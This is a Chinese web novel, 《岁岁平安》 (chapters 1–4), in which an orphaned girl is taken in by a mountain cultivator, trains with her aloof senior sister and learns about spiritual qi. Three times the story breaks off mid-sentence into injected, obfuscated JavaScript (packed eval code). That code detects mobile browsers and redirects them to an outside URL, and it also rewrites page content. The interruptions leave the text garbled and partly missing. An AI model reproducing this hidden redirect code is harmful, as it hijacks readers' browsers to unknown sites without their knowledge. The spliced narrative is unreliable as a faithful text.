《岁岁平安》 1. 上山 城郊山脚,风急促地呼啸着,一座破败土地庙隐秘地藏在林中。一农夫站在紧闭的木门后,有手中拿着庙里找到的粗壮木棍,死死盯着门口,庙中昏暗不见火光,农妇坐在不远处、紧紧地抱着怀中的小女孩,他们的脸上、衣服上都沾染了泥尘。然而在这样危急的情况下,农妇怀中的女孩却也依旧睡得安稳。 “咚、咚、咚……” 紧闭的木门传来有节奏的撞击声,夹杂着此起彼伏的狼嚎。 农夫紧张地咽下口水,他从未见过那般巨大的野狼,几乎有半人高,张着血盘大口,尖利獠牙在月下闪着银光。 “咚——”又是一阵剧烈地撞击声,木门虽未被破开,但仍不堪重负地传出一声“咔嚓——”的声音,似乎是木板断裂的声音。 “我们呆在这是不是不安全了?”农妇敏锐地听到了这道细微的声音,马上从地上起身,语气中满是不安地询问农夫。 前不久,王朝倾颓,内战不断。战火波及到了他们的家乡,让他们迫不得已往南避难。连逃十数日,他们身上的粮食都几乎被吃完,路过这里的时候又险些成为野狼的口粮。所幸农妇祖上传下的玉牌是货真价实的仙家宝贝,不仅替他们挡下致命攻击,还引着他们来到这里不起眼的土地庙中。 虽然门外的野狼攻击停止了,此起彼伏的狼嚎声也变得有些距离,但两人均不敢懈怠,躲在这里也不是长久之计。或许过不了多久,庙外野狼就会重新攻击这里,这道伤痕累累的木门可撑不了多久。 “我出去引开他们,你带着穗穗离开这里。”农夫也知道事情的严重性,他当机立断地做下决定,决定自己出去引开野狼。 “不,我们一起,把穗穗留在这。我们两个人能撑的时间更久一些。”农妇紧紧地抓住农夫的手,压低了声音,“你忘了吗,穗穗是有仙缘的,她能看到我们都看不到的东西。比如这个玉牌,她总说有青色的光……” 农妇记得,女儿从小就说那块白色玉牌上有浅青色的气流,但她不以为然,只当是女儿的错觉。但昨日,当玉牌为他们挡下致命攻击的时刻,农妇看得清楚,那玉牌的确迸发了一道浅青色的光——或许女儿这能看到什么她们看不到的东西。刚来到这土地庙的时候,女儿也说这里的气息很舒服,紧接着就闭目睡了过去,直到现在还未苏醒。 这是女儿奔波的这些天来睡得最久的一回。 “可是……穗穗那么小……”农夫觉得农妇有些儿戏,就算女儿有仙缘,可她今年不过八岁。八岁的女娃娃能知道什么? “木门要撑不住了。我们躲在这、然后一个接一个送死;或者,外面的狼群冲进来将我们吞食。”农妇冷静地分析当前的局面,她不认为自己独身一人能够拖延很长的时间,但如果她和农夫一起,两人合力配合还能发挥更大的作用,“我更希望我们能保护她到最后一刻。” 农妇的分析不无道理,农夫也有些犹豫,他沉下脸权衡两件事的利弊。 “我想赌一把。既然玉牌把我们引到这,起码这里是安全的。”农妇低头看着怀里睡得安详的女儿,伸手捋了捋怀中女孩散落脸颊的发丝,柔声开口,“……可能我们与穗穗的缘分,就到这里了。” 犹豫片刻之后,农夫最终重重地点了点头,还是同意了农妇的决定。他放下手中的棍子,大步上前,跪在地上朝庙中神像恭敬地磕了三个头,口中念念有词:“仙人在上,求求您保佑我家汤穗穗逢凶化吉、平安长大……” 庙中神像端坐垂眸,含笑不语。 “穗穗……”农妇的声音有些颤抖,她伸手摸索着小女孩的面庞,想将她的容貌牢牢地记在心上。 女孩迷迷糊糊地睁开了眼,恰巧对上母亲哀伤的眼神。汤穗穗不知道发生了什么,她被农妇抱上桌案后,坐稳在桌案上揉了揉眼睛,看着面前的欲哭无泪的女人,脆生生地开口安慰:“娘亲,别哭,穗穗不怕。” “嗯,我们穗穗最勇敢了,”农妇压制住自己的情绪,看着乖巧坐在桌案上的女儿,蹲在她的面前,抬手理了理她有些散乱的头发,细细地叮嘱着:“穗穗,你在土地庙好好呆着,包里的餐食慢慢吃,别噎着……” 八岁的汤穗穗在此刻却显得格外冷静。农妇絮絮叨叨说了很多,她抱着农妇塞过来的包袱只顾着点头,好像都听懂了,又好像什么都没听懂。 说到最后,翻涌上来的情绪让农妇再也控制不住,单膝跪在地上,抱着汤穗穗泣不成声。 汤穗穗努力地记住母亲交代的细节,回报泪流满面的农妇,轻轻拍了拍她的后背,懵懂地开口:“……娘亲,我们要分开了吗?” “我们穗穗是有仙缘的,娘亲听到神仙说,她要来带我们穗穗去斩妖除魔。”农妇脱离了女儿的怀抱,擦掉自己脸上的泪水,笑着对她点了点头。 “……斩妖除魔?”汤穗穗还不太能理解这句话具体的含义,这已经超出她的认知。 “就是让我们穗穗去赶跑坏家伙,让大家都能像以前一样生活。”农夫蹲下身,仰头看着汤穗穗,以她能理解的方式开口。 汤穗穗想起自己因为战火被迫分离的小伙伴们,似懂非懂地点了点头。年幼的她并不能完全理解离别的意义,抱着包袱本能地发问:“我们不能一起吗?” “对不起……”农夫伸手抱住汤穗穗又很快离开。面对女儿澄澈的目光,他既无法开口将残忍的事实道破,也不忍心给女儿编造虚假的誓言。 “穗穗,你要好好的生活,好好地长大,我们……我们总会相遇。那时候,穗穗把这一路上的见闻讲给我们听,好不好?”农妇接过话头,伸手摸汤穗穗的脸,将之前的玉牌放在她的手心,放柔了声音开口:“娘亲和神仙做了约定,三百个数之后,她一定会来,并且带我们穗穗到平安的地方。” “闭眼,现在要开始啦。” 农妇伸手盖在汤穗穗的眼皮上,汤穗穗听从娘亲温柔的声音闭上眼,开始数数:“一。” 农妇跪下来郑重地朝土地庙的神像磕头,闭眼无声虔诚地祈祷。 “二十。” 趁着门外还没有动静,农妇起身跟着农夫往门口走去。拉开那扇门之前,她回头凝望了汤穗穗许久,在心中郑重地和她告别。 农妇知道他们从这里离开将是永别,但她并不害怕,也没有犹豫,转身义无反顾地往庙外走去。 她只希望自己的力量能再多些,拖延的时间再久一些……久到三百个数数完之后,能够等来神仙下凡,带汤穗穗走上仙途。 …… “三百。” 随着最后一个数字落下,汤穗穗睁开了眼睛,空无一人的土地庙中,只有月光从天窗照下与她相伴。她抬头,透过天窗看不见星月,只有漆黑的夜空。手心的玉牌因为自己的紧握而变得温热,她也已经感受不到玉牌上那股神秘的气流。 虽然神仙没有在三百个数数完的时候立刻出现,但汤穗穗相信,是娘亲不会骗人,做下约定的神仙也不会违约。汤穗穗重新闭上眼,无师自通的感受周围的气流涌动。 ——就像应和着她的想法,门在下一刻被人推开,发出“吱呀”的声音。 “嗯?有人?”一身寻常装扮的女人一边推开了土地庙的门,一边自言自语。 汤穗穗闭眼感受到强烈的浅青色气流靠近,猛地睁开眼。她正好和女人对上视线,眼睛骤然发亮:“神仙姨姨!” 听 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“对了,神仙姨姨,你有看到娘亲他们吗?他们还安全吗?”汤穗穗担心娘亲的行踪,主动上前两步抓着对方的袖子,有点紧张地追问。 秦无纪本来低头和汤穗穗对视着,听到她的提问,她不自觉地眨了眨眼,避开了汤穗穗纯净的眼神。方才她来的时候顺手处理了路上的魔祟,也并没有看到镜中人的身影。 ……往好处想,或许他们已经脱身。 秦无纪并不擅长说谎,她沉默了片刻还是给出答案:“……我不知道。” 汤穗穗难过地垂下脑袋,只觉得胸口闷闷的,有说不出来的感觉。但很快,她又想起娘亲离开前的那句约定,她坚信母亲不会失约——所以自己要好好长大,要除掉更多的坏人,这样离别的人就会早日相见。 想到这里,她握紧了手中抓着的衣袖,再次抬头对上对方关心的眼神,声音低低地开口:“那姨姨,我可以跟你走吗?” “可以啊。”秦无纪勾起柔和的微笑,自然地回答。即使面对离别已经是她的家常便饭,可她还是希望稚嫩的孩童别太早经历这些事情。 “你很勇敢。”她蹲下身和汤穗穗平视着。脸上脏兮兮的女孩听到这句夸奖之后,眉眼弯弯,脸上挂着颇有几分骄傲。秦无纪忍俊不禁,又伸手摸了摸汤穗穗的头发,脑海中不自觉地想起某人小时候的样子——板着脸的小姑娘当然没有现在喜形于色的汤穗穗这么可爱就是了。 秦无纪还很关心的是汤穗穗天生的能力,即使最后穗穗没有选择她们的道路,她也想给穗穗一个适当的引导,免得她误入歧途。 秦无纪简单地处理土地庙的布置过后,牵着汤穗穗的手走出土地庙,往山上的方向走去。为了照顾汤穗穗的脚步,她刻意地放慢了脚步,闲聊起汤穗穗以前的生活。 汤穗穗就这样,牵着秦无纪的手,从山下走到山上,进入真实的世界。 2. 师姐是偷鸡贼? 窗外鸟鸣清脆,叽叽喳喳地叫醒还在赖床的汤穗穗。汤穗穗紧闭着眼睛,裹紧了被子翻身,将自己埋在其中。但意识已经清醒,她也睡不着了,掀开被子坐在床边晃着腿,睁着眼看向自己的脚出神。 算起来,她已经在山上住了几天。山上的生活几乎和汤穗穗以前跟家人生活时一样,倘若不是汤穗穗依旧能从秦无纪身上感受到那股流淌着的浅青色气流,或许她也会将对方当成寻常人。 汤穗穗一直没跟自己家人提起过,她除了能看到青色的气流,她还能看到紫色的气流,只不过紫色的气流一直很微弱,不太明显。直到去年她看到浓郁的紫气笼罩着稻田,后来听长辈说当年几乎颗粒无收。再然后又遇到了战乱,她被家人带着逃离了家乡。在路上的奔波中,她时常能看到这两股不同的气息在流淌。 这两股气息究竟意味着什么呢? 这个疑惑一直影响着她,直到她看到秦无纪身上也有那股青色的气流。直觉告诉她,对方一定有她所追寻的答案——这也是她跟对方上山的原因之一。 只不过,直到现在,她都没有合适的机会开口。 庭院外的山鸡突然传来尖锐的叫唤,也拉回了汤穗穗的思绪。 “……算了,总会有机会的。”汤穗穗低声嘟囔,自己说服自己。她晃了晃脑袋,拍了拍自己的脸,做了个深呼吸,抛掉那些烦人的思绪,起身穿好衣服往外走去。 她穿过分割庭院和住房的木门,只看到了一个陌生的身影背对着她。那人的将头发简单用簪子挽成发髻,并用发冠固定,墨色的衣衫因着山风而动,勾勒那人挺拔的身形。 听到她的脚步声,那人转身面向她露出了姣好的面容。霎时,汤穗穗脑海中闪过娘亲以前话本中描述的神仙,她的脚步不自觉地停在原地,怔愣地看着对方。 “咯咯咯——”被拎在手里的山鸡不满汤穗穗的忽视,不断扑腾着翅膀,发出叫唤。 汤穗穗猛然回神,这才发现这个陌生人站在鸡圈旁,一手反剪山鸡的翅膀,手中的山鸡不停地反抗着。山鸡是秦无纪上山打的几只,特地圈养在屋宅旁,耗费了不少心血。 ……神仙果然也是吃鸡的啊。 不对,现在不是想这个的时候。 汤穗穗心中迸发出的正义感让她扯着嗓子开口喊道:“秦姨,有人偷鸡!”同时,她加快脚步跑上前,生怕放走了这个来路不明的偷鸡贼。 “谁啊!这么过分!”不远处的厨房传来秦无纪的回应,还有乒乒乓乓的碰撞声。 “偷鸡?”与此同时,面前人听到汤穗穗喊叫后左顾右盼,对上汤穗穗义愤填膺的神情,才意识到对方口中的行径是指自己。她歪了歪头,疑惑地开口:“……我吗?” 汤穗穗跑到那人的面前,那人非但不跑,神情坦然,颇有几分不以为然的味道。即使自己的个子才刚到对方的腰腹部,她依旧仰着头叉腰,言辞恳切:“偷盗是不好的行为,你要是生活有困难可以直说,我们都能帮你解决的!” 汤穗穗以前的家里也遇到过偷鸡贼,娘亲也是这样训斥的,如今她凭着记忆有样学样。她想不明白,为什么面前这个长得这么好看的人偏偏要偷鸡呢? “穗穗,偷鸡贼在哪呢?”听到有人偷鸡,秦无纪提着菜刀就从厨房跑出来,看到汤穗穗叉着腰站在一个拎着山鸡的身影面前,还听到她少年老成地说着话,没忍住“噗嗤”一声笑了出来。 汤穗穗看到秦无纪的神情,尴尬地后退几步拉开了距离,伸手挠了挠自己乱糟糟的头发,吞吞吐吐地开口:“……是我误会了吗?” “咳,穗穗你的防范意识很好。”秦无纪柔声开口,伸手将汤穗穗揽在怀里,还拍了拍她的肩膀,免得她心中不自在。然后才正式介绍面前人的身份:“这是姬忘尘,穗穗你就喊她师姐吧——忘尘,这是汤穗穗,最近暂住在山上,你别怪她。” “……师姐,对不起。”汤穗穗知道自己闹了个大乌龙,垂头丧气地开口。 “没事。”姬忘尘摇了摇头,完全没放在心上,拎起左手的山鸡解释:“它刚刚跑出来了。” “既然它都跑出来了,那我们就今天就吃它吧。”因为姬忘尘的到来,秦无纪的心情好上了不少,指着她手里的罪魁祸首开口,“穗穗,都怪它‘越狱’,让你俩有了个不算好的初见。” 山鸡似乎听得懂人话,更加强烈地反抗着,不停地发出声音——可惜这里没有人在乎它。 “就是就是,都怪它。”汤穗穗跟着秦无纪重复,小心翼翼地抬头看向姬忘尘,阳光照得她的皮肤更加白皙透亮,更符合话本中神仙的形象。 汤穗穗不由得在心中感慨,这么漂亮的神仙居然是她的师姐。 “现在放血吗?”汤穗穗听到神仙似的师姐开口。 “行,那我现在烧好热水。”秦无纪一边说着一边松开揽着汤穗穗的手,转身回了厨房。很快拿着一个干净的碗递给姬忘尘,同时拉远了汤穗穗,低声问:“穗穗见过杀鸡吗?怕的话就闭上眼。” 沉浸在欣赏师姐容貌中的汤穗穗愣愣地摇头:“……不怕。” 姬忘尘扫了眼呆愣的汤穗穗,收回眼神,握着山鸡的手一松——脱离束缚的山鸡拼命地闪动着翅膀,向着天空展翅,几乎要奔赴它所渴望的自由。 然而,闪着寒光的利器切碎了它的美梦。 拍着翅膀的它睁着眼、无力地坠落,玉白的手再次反拧翅膀将其抓住,倒放着。山鸡的头无力地朝地面垂落,另一只手熟稔地用瓷碗接住,血渍在碗中汇聚成“湖泊”,倒映姬忘尘的身影。 姬忘尘一手拎着鸡、另一手端着碗也进了厨房,留下呆站在院中的汤穗穗。 汤穗穗看着师姐干净利落的动作、面不改色的神情,她的眼睛里充满了崇拜,忍不住在心里感慨:果然神仙不止长得好看,也很强大!她也要成为师姐那样强大的人! 突然头顶被轻轻敲了一下,汤穗穗下意识抬头,对上秦无纪含笑的双眼。 “傻站在外面干什么,赶紧进来啊!”秦无纪顺手理了理汤穗穗凌乱的头发,自然而然地开口:“起来这么匆忙,怎么不梳梳头?” “没事的!”汤穗穗伸手敷衍地抓了抓头发,摸了摸自己的肚子下意识地开口,“我们现在可以吃饭了吗?” “你啊。”秦无纪拿汤穗穗没办法,笑着摇摇头,也就随她去了,“会处理青菜吗?” “会的,以前和娘亲一起处理过。”汤穗穗跟着秦无纪进了厨房,点点头。 话音刚落,汤穗穗手里就被塞了一筐绿油油的青菜,她不明所以地抬头看向秦无纪,秦无纪叉着腰挑了挑眉,然后又弯腰捏了捏汤穗穗的脸:“想吃饭那就得一起动手,等着吃白食可不是好习惯。” 听到这句话时,汤穗穗鼻头一酸,酸涩几乎翻上心头。 从前娘亲也是如此说的,每一次都会抓着她坐在厨房外择菜,摘完了就有一搭没一搭地和做饭的爹说话。 但她还是压制住了这股情绪,将菜筐放在桌上,仔仔细细地摘菜。不过因为她人比较小,所以处理得比较慢,好一会菜筐里的菜都不见减少。但不管是秦无纪还是姬忘尘,都没有人催。 过了一会,一个人坐在了她的身边,撤走菜筐给她推来碗筷,碗里盛了一小碗煮好面条,面条上还卧了个荷包蛋。 身旁的人伸手往菜筐里加入摘菜的行列,汤穗穗不明所以地看向坐在身边的秦无纪。 “差点忘了你还没吃,吃完再干。”秦无纪说完汤穗穗还没动,笑着打趣:“怎么?难道我是那种要你做完才给吃的人吗?” “不是不是。”汤穗穗连连摇头,闻到食物的清香,她的肚子不客气地发出“咕噜”声。她也就不拘谨,捧起面条就开始吃。 不过奇 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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汤穗穗走出厨房时,姬忘尘已经在院中练武。她身形挺拔、眼眸锐利,紧紧地盯着前方,手中招式利落。双手各持一柄弯刀划过半空,弯刀舞动间折射的阳光还晃得汤穗穗下意识眯了眼。风卷起山间树梢上飘落的叶片,如花瓣缓缓飘落,更显得穿梭在其中的她风姿绰约。 与寻常不同,姬忘尘练刀时,她身上披着一层那道青色气流,完全不需要闭目就可以感受到。 汤穗穗忍不住想,如果此时飘落的是花瓣,更显得她是仙人落凡。 她也忍不住细想,如果她也像师姐一样练武,是不是也能将这道神秘的青色气流完全调用起来? 姬忘尘恰好结束了当前的练习,正站在原地调整气息。在一旁站了许久的汤穗穗兴奋地跑过去,仰着头,看向师姐的脸:“师姐,我可以跟你学练武吗?” “方才你看到了什么?”姬忘尘气息平稳,完全不像是刚练过武的状态。听到汤穗穗的发问,她看着对方的眼睛却答非所问。她一边开口,一边把右手的刀也放到左手,将右手两指合并点在她额间。 随着对方的动作,汤穗穗感觉有一股很舒服的气息流转过全身。 “我看到你身上有青色的气流。不仅是你,秦姨也是。”姬忘尘问得笃定,汤穗穗也不隐瞒,将自己所知全盘托出,或许现在就是讨要答案的最好时机,“我还能看到紫色的气流——师姐,那些究竟是什么?” “还不到时候。”姬忘尘收回手,没有直面回答她的问题,而是重新提起练武的事,“练功一事,讲究日积月累。三久三伏亦不能停,你能坚持得住吗?” “我会坚持的。”汤穗穗认真地点头,郑重承诺。 即使现在她没有知道问题的答案,但是汤穗穗并不气馁。既然对方说的是“还不到时候”,那她就一定有知道这个答案的时候。 比起现在知道答案,汤穗穗更想跟从师姐学武,这样她就可以变得跟师姐一样强大。 从此后,她就不再是需要别人庇护的人——甚至她可以成为庇护别人的人。 3. 还不到时候 天色未亮,院中已有两人练功的身影。如今虽是初春,但山上温度还有些低,庭院外的大树光秃秃的,尚未开花发芽。 汤穗穗正持着木剑在树下练习基础招式,姬忘尘站在她站在她身旁提醒一些被忽视的要点。光阴荏苒,岁月如梭,八年时间一晃而过,当初稚嫩的女孩如今也到了二八年华,出落得标致。 直至天光破晓,鸡鸣声起,她们才停下歇息片刻。 “好了,先休息一阵吧。”姬忘尘习惯将长时间的训练分隔,有规划地安排休憩的时间。她坐到院中石桌旁的凳子上,给两人都倒了水润润喉。 汤穗穗趁着歇息的功夫,抱着自己的木剑跑到姬忘尘的身边坐下,兴致勃勃地开口询问:“师姐,你这次会在山上住多久?” “……或许会小住一阵。”姬忘尘想了想,给出一个含糊的答案。 “这样啊……”汤穗穗有点失落地低头,但很快调理好了情绪,抬头看向对方,“那师姐,你这次回来,有感觉我有进步吗?“ 这些年来,汤穗穗一般都是和秦无纪住在山上,姬忘尘总在外处理些什么事物,相隔一段时间才回来山上小住。更多的时候,汤穗穗则是跟着秦无纪练习武艺,在相处中偶尔也说起过她看到的气息。可是秦无纪每次都只是摸摸她的头,笑而不语。 正如当时所许诺的那样,汤穗穗每日卯时都起身练剑,寒来暑往,从未停歇。因为师姐常年在外奔波,并不能每天到场,所以更多由秦无纪督促着。 汤穗穗起初不停地缠着师姐追问答案,但每次都被师姐用武力压制。久而久之,她心里对师姐更为崇拜。每次师姐回山上的时候,她总是想在师姐身边待得久一些。若是能听到对方的一句夸奖,她心里能高兴上好一阵。 “确实比之前更扎实了。”姬忘尘没有吝啬自己的夸奖。不过除此之外,她还发现汤穗穗体内汇聚了少量的灵气,或许“时候”快到了。她佯装不经意地开口:“最近你感觉身体有什么变化吗?” “没、没有,我能有什么变化——”汤穗穗听到师姐的问话,心头一紧猛地站起来,身形站得笔直。 她知道自己的身体最近有什么变化。 前段时间,她在床上闭着眼感知周围气流的时候,心血来潮地想把周围的气流抓住。在她尝试几次过后,没想到这些气流直直地钻进了她的身体里,她吓得不敢再动,一下子不知道该找谁去倾诉。 即使心里想要隐瞒这件事情,但是她脸上不自然的神情将她的想法完全出卖。 换句话说,只要是长了眼睛的人,都能明显感觉到她在撒谎。 “你很紧张?”师姐挑了眉,嘴角勾起一个弧度,似笑非笑地看向汤穗穗。 “哈哈……有、有吗?”当师姐突然问起,汤穗穗紧张地咽下了口水。她的双手不自觉地捏紧了衣服,捏出很深的褶皱。 在她几乎招架不住师姐、差点双腿一软、跪下来讲出实情的时候,姬忘尘却收回了视线。 “我随便问问。”姬忘尘不紧不慢地拿起手中的茶杯抿了一口,提醒道,“拿不准的事不如问问别人。“ 汤穗穗不确定师姐是不是发现了什么,但她依旧乖巧地应下:“嗯、嗯,我知道了。” 姬忘尘不轻不重地用语气词就将这件事翻了篇,直到早晨的练习结束,她都没有提起这件事。 汤穗穗不清楚师姐的态度,她结束练习之后就一直惴惴不安。直到在厨房帮忙择菜时,她还有些心不在焉。 “……穗穗?想什么呢,那么出神?”秦无纪的声音拉回了她的思绪,“连菜根的位置都放错了。” 汤穗穗回神一看,在她无意识地操作中,把已经摘好的菜和菜根又混在了一起。 “没、没有。”汤穗穗眨了眨眼,强颜欢笑佯装无事发生,伸手将菜根拿出来扔掉。 “不舒服吗?”秦无纪上前两步蹲在她面前,伸手探向她的额头,另一只手放在自己额头上,比了比温度,疑惑地开口:“……也没有发烧啊?” 汤穗穗不自在地咬着嘴唇,她看出来秦无纪脸上关心的神情,心里的天平逐渐倾斜。面对这位关心她的长辈,她不想有事隐瞒对方。 更何况对方是师姐的师傅,师姐能发现的事情对方一定更敏锐,她不想自欺欺人。 “……秦姨,”汤穗穗斟酌着开口。 “怎么啦?”秦无纪感觉到汤穗穗有话要说,拉开她身旁的椅子坐在她身边,放柔了声音开口。 汤穗穗重重地呼出一口气,将前些天那股青色气流跑到自己身体里的事,跟对方全盘托出。她以为这件事情会很难开口,但在秦无纪柔和的目光下,她惴惴不安的心也慢慢平静下来。 “你比我想象中的有天赋。”秦无纪听完不仅没有责怪她,反而笑着捏了捏她的脸:“不过这些事你可千万不要自己瞎琢磨。” “嗯,我知道了。”听了秦无纪的话,汤穗穗安心地点点头,大着胆子问:“所以那股气流究竟是什么?” 得知汤穗穗身体无恙后,秦无纪也放心下来。 “在回答之前,我先问你一个问题,”秦无纪坐在她身边,伸进菜筐一边择菜一边说,“那股气流进入你的身体之后,你有什么感觉吗?” “……感觉?”汤穗穗当时吓坏了,哪来得及感受什么变化? “……感觉自己精神好多了,”当秦无纪现在提起时,她才静下心来审视自己的变化,握紧了拳头,“力气也变大了——这是正常的吗?” “你之前所感知的青色气流,我们通常称之为‘灵气’。灵气滋养着世间万物,还能强化生灵的□□。”秦无纪开口解答汤穗穗一直想要知道的事情,“这世界上只有少部分人能够感知到灵气的存在,而像你这样能无师自通、纳入灵气的,更是少之又少。” “也就是说,我很厉害?!”汤穗穗震惊地瞪大了眼睛,她从来没有觉得自己有多出类拔萃,“青色的气流是灵气,那紫色的气流又是什么?” 自汤穗穗上山之后,就再也没有感应过紫色气流,但她觉得紫色的气流并没有就此消失。 面前的菜筐也正好摘完,秦无纪没有回答,只是转过身去,背对着她开口:“请允许我再卖一个关子。要想知道这个问题的答案,得取决于你接下来的选择。” “什么选择?”汤穗穗眨了眨眼,疑惑地追问下去。 秦无纪笑着说:“还不是时候。” 汤穗穗似懂非懂地点头。 不过,她相信自己能够等到这个“时候”,就像她等了八年,也等到了一部分的答案。 随着自己的问题得到了解答,她的心情也变得愉悦起来,协助着秦无纪很快就做好了午饭。她叫上师姐,三人就坐在了一起,享用这顿寻常的午餐。 在她们快要吃完的时候,挂在门口的摇铃突然剧烈晃动,敲打出清脆的声音。汤穗穗还没反应过来,姬忘尘已经放下碗筷,起身往外走去,留下一句:“我去看看。” 本来乖乖坐着的汤穗穗眼珠子转了转,匆匆扒了几口饭,抓起放在一边的木剑就往外跑:“师傅我吃好了我去山下转转——” “哎——”秦无纪拦不住姬忘尘,更拦不住汤穗穗,“带上药篓!” “知道啦——” 回答她的只有汤穗穗跑远的声音,秦无纪无奈地笑着摇头。 不过山下已经不是八年前的样子。 七年前,新王登基后改朝换代,结束了内乱,还免除了对百姓的苛政杂税。逃难的百姓又重新在原来的城镇上落脚生活,这几年过得也还算安稳。 秦无纪也会简单地处理周围的情况,她既然选择居住在了附近,也会为周围出一份力。相对来说,这里比其他地方更为安全一些,因此山下的小镇又重新热闹起来。 汤穗穗一直是个活泼的孩子,秦无纪也不想将她拘束在山上,也就睁一只眼闭一只眼,任由她到山下跑。当她还小的时候秦无纪还会暗中跟着她到山下去,后来她长大了,身上也有武艺傍身,也就放心让穗穗自己下山转转。 不过今天的汤穗穗很明显,就是想要跟着姬忘尘出去。 想到姬忘尘,秦无纪不自觉的叹了口气。即使相处了十余载,她还是不太清楚该怎么跟姬忘尘相处。这个孩子的性格一直以来都太冷了,也过于早慧。 ——再加上那件事,秦无纪总是放不下心来。 说来也奇怪,汤穗穗总是格外黏姬忘尘,即使姬忘尘一如既往地冷淡,她也未曾后退。 不过有汤穗穗在也是好事,有时候可以借着汤穗穗听到一些关于姬忘尘的事情。 秦无纪收拾着面前的碗筷,想起今天汤穗穗跟她说的事情,心里百味杂陈。 汤穗穗的天赋比自己想象中还要高,几乎比得上姬忘尘,无疑是走上她们这条路最好的人选 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15424769|169112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ——然而作为路途中人,秦无纪更明白其中的艰辛。 如果可以的话,还是希望汤穗穗能永远无忧无虑,有武艺傍身,加上灵气滋养,她定能一生身体康健、百岁无忧。 汤穗穗不知道秦无纪的想法,她背上放在院中的药篓,加快脚步跟上师姐的身影。她每次都是这样偷偷默默地跟着,因为她实在很好奇每次姬忘尘都会去哪里。 但她不敢靠得太近,怕离得近了被师姐发觉,但离了远了又会跟丢,只能不远不近地跟着。 即使她这次再谨慎,等又过了几步拐了几个弯,即将到山下的时候,师姐的身影又消失在了前方。汤穗穗有些泄气,但依旧不想放弃。她知道,到山下小镇之后这一条山路,如果师姐的目的地是小镇,那她们一定还能碰面。 路过土地庙时,汤穗穗看到镇上的百姓一如既往地给土地庙献香火。 不过今天的土地庙尤为热闹,门口围着好多人,还排成了长队。汤穗穗从土地庙后绕出来,走到门前,才看到庙门旁有个陌生男人支了个摊,好像在给人把脉,估计是过路的走方郎中。虽是诊病,但他脸上笑容未减,看起来和蔼可亲。 这个中年男人并未蓄须,乌发中夹杂着许多霜发,看上去不太年轻,但他面色红润,又不像是寻常的中年人。 还没等汤穗穗观察出个所以然,她的肩膀被人轻拍。 “穗穗姑娘,又下山啦?”挽着竹篮、身形有些胖乎乎的大婶笑着跟汤穗穗打招呼:“赶巧了,我还有一些好肉留着,要带些回去吗?” 搭话的是镇上有名猪肉摊的赵婶,她从小就跟着父亲学杀猪,汤穗穗也常在她家肉铺买肉。 “不是不是,就是下来玩玩,顺便送些药草。”汤穗穗笑弯了眼睛,颠了颠背上的药篓,挽上赵婶的胳膊:“婶子有好肉留着给自己吧。” 她给自己捏造的身份是住在山上的猎户,因为当时家人为了逃离战乱,所以躲进了深山里,久而久之也就不愿下山了。 镇上的人也不会多说什么,更不会说些闲话。战乱让许多家庭分崩离析,能够活下来就已是难得,有一些实情更难以言说,也就不必深究。 比起这个,汤穗穗更好奇另一件事:“婶子,那是……?” 赵婶也顺着汤穗穗的视线望去,了然开口:“那是前几日来的走方郎中,好似姓姚?你知道的,镇上总有些老顽固嫌弃杏林堂的大夫们,拖着不愿看病。这碰巧来了个男大夫,这不得给他们好好看看吗?” 汤穗穗这才注意到,排队的大多是上了年纪的中老年男子,也是寻常对杏林堂意见最大的人。汤穗穗撇了撇嘴,收回视线低声嘟囔:“我说给他们脑子撬开看看才好呢……” 杏林堂是这镇上唯一的医馆,如今两任大夫都是女子,汤穗穗身上的药篓也是给她们送去。听秦姨说,当年杏林堂热心给她们提供了住所,还不收租金,因此秦姨总是以山上的草药做回报。 汤穗穗也听闻,镇上有一些人不知为何,天生抱着对女子的轻视,说什么都不认同。哪怕真的身体有不舒服的状况,要么硬拖着,要么到临镇的医馆去。 听说那位临镇的大夫原先是名兽医,也就是经历了几年逃难,慢慢学着给人治病。当战乱平息,他自知学艺不精,也就不再给人看病,重新做回兽医的行当。 但这些人总是不依不饶地缠着对方,这位大夫拗不过这群人,只得重新硬着头皮上。因此他还不时来请教杏林堂的两位大夫,真论起来,他还算是杏林堂的门徒呢。 汤穗穗平时送药也曾见过对方欲哭无泪的样子。她非常想不明白,为什么这些人放着好好的杏林堂不看,非得折磨一位兽医大夫? ……只因为对方是男子吗? “哈哈,谁说不是呢,”赵婶听到汤穗穗的嘟囔,捧腹大笑,故意说得大声,让队伍里的人也听到:“有些人啊,脑子不知道怎么长的,可能就没把自己当人吧。” 队伍听到赵婶的讥讽,有些人想说些什么,又被赵婶瞪了回去,念及自家还得在她家买肉,也就缩着头不敢吭声。 但也有人固执己见,嘴硬着开口:“那两个妇道人家懂什么?别把我治出病来才是!” “此言差矣,杏林堂的两位大夫医术精湛,医者仁心,远在我之上。”面前的姚姓郎中敛了脸上的笑容,正色道:“倘若兄台坚持认为女子不如男子的,恕在下无能,还请回吧。” 4. 初生牛犊不怕虎 郎中的话一出,队伍瞬间静默,被驳斥的人脸色涨得通红,走也不是,不走也不是。 “若是诸位也如那人所想,”郎中撂下手中蘸了墨的笔,看向排着队等待的众人:“姚某学术不精,还请各位另请高明。” 说着起身就要收拾桌上的东西,一副打定主意要离开的架势。 